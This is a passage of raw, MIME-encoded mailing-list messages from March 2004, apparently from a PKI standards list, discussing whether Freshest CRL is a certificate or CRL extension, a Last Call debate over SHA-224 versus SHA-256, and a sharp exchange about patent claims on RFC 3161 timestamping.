<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Tahoma;font-weight:bold'>From:</spa=
n></font></b><font
size=3D2 face=3DTahoma><span lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Tahoma'>
Stefan Santesson <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> den 29 mars 2004 =
14:06<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [email-masked]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Freshest =
CRL</span></font><span
lang=3DEN-US><o:p></o:p></span></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Is Freshest CRL supposed to be a Certificate
extension or a CRL extension?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>I have always believed that it was a CRL =
extension,
as defined in RFC 3280 section 5.2.6:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>5.2.6&nbsp; Freshest CRL (a.k.a. Delta CRL
Distribution Point)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;&nbsp; The freshest CRL extension =
identifies
how delta CRL information for this complete CRL is =
obtained.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><b><u><font size=3D2 face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>However,<o:=
p></o:p></span></font></u></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>In X.509, this extension is defined a s a =
certificate
extension only in section 8.6.2.6<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<h4><a name=3D"_Toc479042804"></a><a name=3D"_Toc495383879"></a><b><font =
size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt'>8.6.2.6
&nbsp;&nbsp;&nbsp; Freshest CRL extension</span></font></b><span =
lang=3DEN-GB><o:p></o:p></span></h4>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>The freshest CRL extension shall be used only =
as a
certificate extension and may be used in certificates issued to =
authorities as well
as certificates issued to users. This field identifies the CRL to which =
a
certificate user should refer to obtain the freshest revocation =
information
(e.g.: latest dCRL). This field is defined as =
follows:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Which is correct?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-US style=3D'font-size:12.0pt;color:olive'>Stefan =
Santesson</span></font></b></strong><font
color=3Dblack><span lang=3DEN-US =
style=3D'color:black'><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Program =
Manager, Windows
Security</span></font><font size=3D2 color=3Dblack face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:black'><o:p></o:p></spa=
n></font></p>

</div>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C415DF.1A48DE6D--

------=_NextPartTM-000-67ed923d-2eb7-4d6a-831c-c1d78120149c--

Content-class: urn:content-classes:message
Subject: Freshest CRL
Date: Mon, 29 Mar 2004 23:05:34 +0100
From: "Stefan Santesson" <[email-masked]>
To: <[email-masked]>
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPartTM-000-0e232f64-7234-4bb8-b749-b47bdc81e640
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C415DA.0AE2F5AD"

------_=_NextPart_001_01C415DA.0AE2F5AD
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Is Freshest CRL supposed to be a Certificate extension or a CRL
extension?

I have always believed that it was a CRL extension, as defined in RFC
3280 section 5.2.6:

=20

=20

5.2.6  Freshest CRL (a.k.a. Delta CRL Distribution Point)

=20

   The freshest CRL extension identifies how delta CRL information for
this complete CRL is obtained.

=20

=20

However,

=20

In X.509, this extension is defined a s a certificate extension only in
section 8.6.2.6

=20

8.6.2.6     Freshest CRL extension

The freshest CRL extension shall be used only as a certificate extension
and may be used in certificates issued to authorities as well as
certificates issued to users. This field identifies the CRL to which a
certificate user should refer to obtain the freshest revocation
information (e.g.: latest dCRL). This field is defined as follows:

=20

=20

Which is correct?

=20

=20

Stefan Santesson

Program Manager, Windows Security

=20

------_=_NextPart_001_01C415DA.0AE2F5AD
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DDA link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Is Freshest CRL supposed to be a Certificate
extension or a CRL extension?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>I have always believed that it was a CRL =
extension,
as defined in RFC 3280 section 5.2.6:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>5.2.6&nbsp; Freshest CRL (a.k.a. Delta CRL
Distribution Point)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;&nbsp; The freshest CRL extension =
identifies
how delta CRL information for this complete CRL is =
obtained.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><b><u><font size=3D2 face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>However,<o:=
p></o:p></span></font></u></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>In X.509, this extension is defined a s a =
certificate
extension only in section 8.6.2.6<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<h4><a name=3D"_Toc495383879"></a><a name=3D"_Toc479042804"><b><font =
size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt'>8.6.2.6 &nbsp;&nbsp;&nbsp; Freshest
CRL extension</span></font></b></a><span =
lang=3DEN-GB><o:p></o:p></span></h4>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>The freshest CRL extension shall be used only =
as a
certificate extension and may be used in certificates issued to =
authorities as
well as certificates issued to users. This field identifies the CRL to =
which a
certificate user should refer to obtain the freshest revocation =
information
(e.g.: latest dCRL). This field is defined as =
follows:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Which is correct?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-US style=3D'font-size:12.0pt;color:olive'>Stefan =
Santesson</span></font></b></strong><font
color=3Dblack><span lang=3DEN-US =
style=3D'color:black'><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Program =
Manager, Windows
Security</span></font><font size=3D2 color=3Dblack face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:black'><o:p></o:p></spa=
n></font></p>

</div>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C415DA.0AE2F5AD--

------=_NextPartTM-000-0e232f64-7234-4bb8-b749-b47bdc81e640--

Date: Mon, 29 Mar 2004 13:24:27 -0500
From: Jack Lloyd <[email-masked]>
To: [email-masked]
Subject: Re: WG Last Call: SHA-224
Mail-Followup-To: [email-masked]
Sender: [email-masked]

On Mon, Mar 29, 2004 at 10:18:43AM -0800, Paul Hoffman / IMC wrote:
> At 12:50 PM -0500 3/29/04, Jack Lloyd wrote:
> >Probably should have sent this to the list in general. I think it's a 
> >serious
> >question if SHA-224 offers any benefit in *any* environment. Are people
> >seriously rolling out new systems (with new algorithms, such as
> >SHA-{224,256,384,512}) that are still using 3DES?
> 
> Yes. TripleDES acceleration chips are much more widely available and 
> tested than AES acceleration chips.

Ah, good point.

-J

Date: Mon, 29 Mar 2004 10:18:43 -0800
To: Jack Lloyd <[email-masked]>, [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

At 12:50 PM -0500 3/29/04, Jack Lloyd wrote:
>Probably should have sent this to the list in general. I think it's a serious
>question if SHA-224 offers any benefit in *any* environment. Are people
>seriously rolling out new systems (with new algorithms, such as
>SHA-{224,256,384,512}) that are still using 3DES?

Yes. TripleDES acceleration chips are much more widely available and 
tested than AES acceleration chips.

>In particular, why should the strength of a signature be tied to the strength
>of encryption which might be used in the same system? I don't see these as
>being logically paired.

You want at least a reasonable match so that the customer knows the 
overall strength of the system.

>  > bandwidth-restricted environments where an extra 32 bytes is
>>  important. None of the documents above discuss any such environments.
>
>32 *bits* you mean. That would have to be one awfully bandwidth-restricted
>system,

Whoops. Quite right. 4 octets.

>  and in any case it's rare (that I've seen) that a hash is sent
>directly, either it's used with HMAC (in which case one can use SHA-* and
>safely truncate to 96-128 bits regardless of the hash size), or it's used with
>a sig, in which case it doesn't matter anyway (an RSA sig with SHA-224 is just
>as big as one with SHA-256 or SHA-512 or whatever). In particular the three
>drafts being held up by the SHA-224 draft all seem to be for PK, where the
>smaller size doesn't offer anything except for possibly reducing the strength
>of the signature/encryption.

Again, this should be noted in the SHA-224 RFC so that people 
designing these protocols will see it.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Mon, 29 Mar 2004 12:50:07 -0500
From: Jack Lloyd <[email-masked]>
To: [email-masked]
Subject: Re: WG Last Call: SHA-224
Mail-Followup-To: [email-masked]
Sender: [email-masked]

--rS8CxjVDS/+yyDmU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Probably should have sent this to the list in general. I think it's a serio=
us
question if SHA-224 offers any benefit in *any* environment. Are people
seriously rolling out new systems (with new algorithms, such as
SHA-{224,256,384,512}) that are still using 3DES? Seems a bit counterintiut=
ive
(to me) to be changing the hash and not go ahead and swap in AES while you'=
re
at it. If someone really want this and wants it RFCized, then fine, I just
don't see the logic behind it.

In particular, why should the strength of a signature be tied to the streng=
th
of encryption which might be used in the same system? I don't see these as
being logically paired.

-Jack

----- Forwarded message from Jack Lloyd <[email-masked]> -----

From: Jack Lloyd <[email-masked]>
To: Paul Hoffman / IMC <[email-masked]>
Date: Mon, 29 Mar 2004 11:07:41 -0500
Subject: Re: WG Last Call: SHA-224

On Sun, Mar 28, 2004 at 10:52:58AM -0800, Paul Hoffman / IMC wrote:
>=20
> bandwidth-restricted environments where an extra 32 bytes is=20
> important. None of the documents above discuss any such environments.

32 *bits* you mean. That would have to be one awfully bandwidth-restricted
system, and in any case it's rare (that I've seen) that a hash is sent
directly, either it's used with HMAC (in which case one can use SHA-* and
safely truncate to 96-128 bits regardless of the hash size), or it's used w=
ith
a sig, in which case it doesn't matter anyway (an RSA sig with SHA-224 is j=
ust
as big as one with SHA-256 or SHA-512 or whatever). In particular the three
drafts being held up by the SHA-224 draft all seem to be for PK, where the
smaller size doesn't offer anything except for possibly reducing the streng=
th
of the signature/encryption.

-Jack

----- End forwarded message -----

--rS8CxjVDS/+yyDmU
Content-Type: application/pgp-signature
Content-Disposition: inline

--rS8CxjVDS/+yyDmU--

Date: Mon, 29 Mar 2004 07:41:41 -0800
To: Russ Housley <[email-masked]>, Tim Polk <[email-masked]>, [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

At 10:25 AM -0500 3/29/04, Russ Housley wrote:
>Paul:
>
>>At 8:21 AM -0500 3/29/04, Russ Housley wrote:
>>>I understand that the computation expense is the same as SHA-256. 
>>>However, as you point out, there are times that a shorter hash 
>>>value is desirable.
>>
>>Do we agree that the only times where it is desirable is in 
>>severely bandwidth-restricted environments? Or am I missing some 
>>other scenario?
>
>It is also useful is you want all of the algorithms in a cipher 
>suite to offer the same strength.  I remember a SAAG discussion that 
>this was called "impedance match," but I do not particularly like 
>that term.

This is all the more reason to put material in the document that 
tells protocol designers what the design goals for SHA-224 are. Such 
wording should explicitly say that SHA-224 SHOULD NOT be used with 
AES-128 or other asymmetric ciphers that have greater than 112 bits 
of strength.

The reason I am hammering on this is that it is somewhat absurd to 
purposely reduce the strength of one of the algorithms in a cipher 
suite just so it "matches". For example, assume that someone this 
year discovers a trivial method for reducing the effective strength 
of TripleDES from 112 to 108 bits. Clearly, no one is going to stop 
using TripleDES or a suite that uses TripleDES. But, using the logic 
that prompted the creation of SHA-224, we will need a new RFC that 
specifies SHA-216 by shaving off eight more bits from the SHA-256 
result.

Instead of this progression, we should be giving protocol designers 
advice that says "it is fine to use a hash algorithm that produces 
more bits than are needed to 'match' the symmetric key strength".

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Mon, 29 Mar 2004 10:25:57 -0500
To: Paul Hoffman / IMC <[email-masked]>, Tim Polk <[email-masked]>, [email-masked]
From: Russ Housley <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

Paul:

>At 8:21 AM -0500 3/29/04, Russ Housley wrote:
>>I understand that the computation expense is the same as SHA-256. 
>>However, as you point out, there are times that a shorter hash value is 
>>desirable.
>
>Do we agree that the only times where it is desirable is in severely 
>bandwidth-restricted environments? Or am I missing some other scenario?

It is also useful is you want all of the algorithms in a cipher suite to 
offer the same strength.  I remember a SAAG discussion that this was called 
"impedance match," but I do not particularly like that term.

Russ

Date: Mon, 29 Mar 2004 06:44:51 -0800
To: Russ Housley <[email-masked]>, Tim Polk <[email-masked]>, [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

At 8:21 AM -0500 3/29/04, Russ Housley wrote:
>I understand that the computation expense is the same as SHA-256. 
>However, as you point out, there are times that a shorter hash value 
>is desirable.

Do we agree that the only times where it is desirable is in severely 
bandwidth-restricted environments? Or am I missing some other 
scenario?

>I would be willing to add a paragraph to the security considerations 
>that point out the equal computational cost for SHA-256 if that 
>would make you feel better.

That's not necessary, and it isn't really a security consideration. 
My preference would be that the document include advice to protocol 
designers about when this is and is not a useful algorithm; without 
that, designers might think they understand its usefulness when they 
don't. That's why I proposed:

>>This document would be well-served to have an additional paragraph 
>>explaining that systems that use TripleDES and need a matching hash 
>>algorithm SHOULD use SHA-256, not SHA-224, unless they are in 
>>severely bandwidth-restricted environments.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Mon, 29 Mar 2004 08:21:10 -0500
To: Paul Hoffman / IMC <[email-masked]>, Tim Polk <[email-masked]>, [email-masked]
From: Russ Housley <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

Paul:

I understand that the computation expense is the same as SHA-256.  However, 
as you point out, there are times that a shorter hash value is desirable.

I would be willing to add a paragraph to the security considerations that 
point out the equal computational cost for SHA-256 if that would make you 
feel better.

Russ

At 10:52 AM 3/28/2004 -0800, Paul Hoffman / IMC wrote:

>At 4:14 PM -0500 3/26/04, Tim Polk wrote:
>>This specification will provide a stable reference for the SHA-224 
>>algorithm, which is needed by several IETF specifications.
>
>In searching the Internet Drafts directory, only four documents even 
>mention SHA-224:
>
>eastlake-xmldsig-uri: uses it as part of an exhaustive list, not a requirement
>
>pkix-rsa-pkalgs: uses it as part of an exhaustive list, not a requirement
>
>pkix-sha224: the document in question
>
>smime-cms-rsa-kem: uses it but does not justify why it needs it instead of 
>SHA-256
>
>The train may have left the station on this one, but it is really pretty 
>silly. The only possible use is in severely bandwidth-restricted 
>environments where an extra 32 bytes is important. None of the documents 
>above discuss any such environments.
>
>It is silly to say that SHA-256 doesn't "match" 112 bits of encryption 
>strength. There is no disadvantage to having more bits of randomness, 
>particularly because TripleDES doesn't use 112-bit blocks.
>
>This document would be well-served to have an additional paragraph 
>explaining that systems that use TripleDES and need a matching hash 
>algorithm SHOULD use SHA-256, not SHA-224, unless they are in severely 
>bandwidth-restricted environments.
>
>--Paul Hoffman, Director
>--Internet Mail Consortium
>

Date: Sun, 28 Mar 2004 10:52:58 -0800
To: Tim Polk <[email-masked]>, [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: Re: WG Last Call: SHA-224
Sender: [email-masked]

At 4:14 PM -0500 3/26/04, Tim Polk wrote:
>This specification will provide a stable reference for the SHA-224 
>algorithm, which is needed by several IETF specifications.

In searching the Internet Drafts directory, only four documents even 
mention SHA-224:

eastlake-xmldsig-uri: uses it as part of an exhaustive list, not a requirement

pkix-rsa-pkalgs: uses it as part of an exhaustive list, not a requirement

pkix-sha224: the document in question

smime-cms-rsa-kem: uses it but does not justify why it needs it 
instead of SHA-256

The train may have left the station on this one, but it is really 
pretty silly. The only possible use is in severely 
bandwidth-restricted environments where an extra 32 bytes is 
important. None of the documents above discuss any such environments.

It is silly to say that SHA-256 doesn't "match" 112 bits of 
encryption strength. There is no disadvantage to having more bits of 
randomness, particularly because TripleDES doesn't use 112-bit blocks.

This document would be well-served to have an additional paragraph 
explaining that systems that use TripleDES and need a matching hash 
algorithm SHOULD use SHA-256, not SHA-224, unless they are in 
severely bandwidth-restricted environments.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Fri, 26 Mar 2004 18:35:38 -0500
To: "todd glassey" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: <[email-masked]>
Sender: [email-masked]

--============_-1131778248==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:25 PM -0800 3/26/04, todd glassey wrote:
>Then your commentary and analysis of this matter is "worthless" eh?
>
>Todd
>

it's worth the value that one accords to my opinions outside of the 
legal domain, which, based on rates paid by my clients, it fairly 
high ;-)

Since the "warning message" was sent by you, not by an attorney, I 
assume its worth should be measured by a similar standard.

Let's see, that would make it worth, eh, oh, I hesitate to say ...

Steve
--============_-1131778248==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>At 12:25 PM -0800 3/26/04, todd glassey wrote:</div>
<blockquote type="cite" cite><font face="Arial" size="-1">Then your
commentary and analysis of this matter is &quot;worthless&quot;
eh?</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">Todd</font><br>
</blockquote>
<div><br></div>
<div>it's worth the value that one accords to my opinions outside of
the legal domain, which, based on rates paid by my clients, it fairly
high ;-)</div>
<div><br></div>
<div>Since the &quot;warning message&quot; was sent by you, not by an
attorney, I assume its worth should be measured by a similar
standard.</div>
<div><br></div>
<div>Let's see, that would make it worth, eh, oh, I hesitate to say
...</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1131778248==_ma============--

From: "todd glassey" <[email-masked]>
To: "Stephen Kent" <[email-masked]>
Cc: <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 12:25:24 -0800
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0435_01C4132D.69C8F450
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Re: Legal Notice on RFC3161 Uses and their possible infriThen your =
commentary and analysis of this matter is "worthless" eh?

Todd
  ----- Original Message -----=20
  From: Stephen Kent=20
  To: todd glassey=20
  Cc: [email-masked]=20
  Sent: Friday, March 26, 2004 9:31 AM
  Subject: Re: Legal Notice on RFC3161 Uses and their possible =
infringement against Glassey/Mcneil Patents(et al).

  At 9:01 AM -0800 3/26/04, todd glassey wrote:
    Stephen BTW will you or Denis personally write the check here when =
any Court finds in favor of one of us Patent Holders over someone else' =
use of 3161?

    Todd

  I will neither write the check nor hold my breath awaiting a =
successful decision  on your behalf.

  Steve
------=_NextPart_000_0435_01C4132D.69C8F450
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Re: Legal Notice on RFC3161 Uses and their possible =
infri</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
DL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
UL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
OL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
LI {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Then your commentary and analysis of =
this matter is=20
"worthless" eh?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Todd</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[email-masked] href=3D"mailto:[email-masked]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  title=[email-masked]=20
  href=3D"mailto:[email-masked]">todd glassey</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
title=[email-masked]=20
  href=3D"mailto:[email-masked]">[email-masked]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, March 26, 2004 =
9:31=20
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Legal Notice on =
RFC3161 Uses=20
  and their possible infringement against Glassey/Mcneil Patents(et =
al).</DIV>
  <DIV><BR></DIV>
  <DIV>At 9:01 AM -0800 3/26/04, todd glassey wrote:</DIV>
  <BLOCKQUOTE cite=3D"" type=3D"cite"><FONT face=3DArial =
size=3D-1>Stephen&nbsp;BTW=20
    will you or Denis&nbsp;personally write the check here when any =
Court finds=20
    in favor of one of us Patent Holders over someone else' use of=20
  3161?</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite"><FONT face=3DArial=20
  size=3D-1>Todd</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite"><BR></BLOCKQUOTE>
  <DIV><BR></DIV>
  <DIV>I will neither write the check nor hold my breath awaiting a =
successful=20
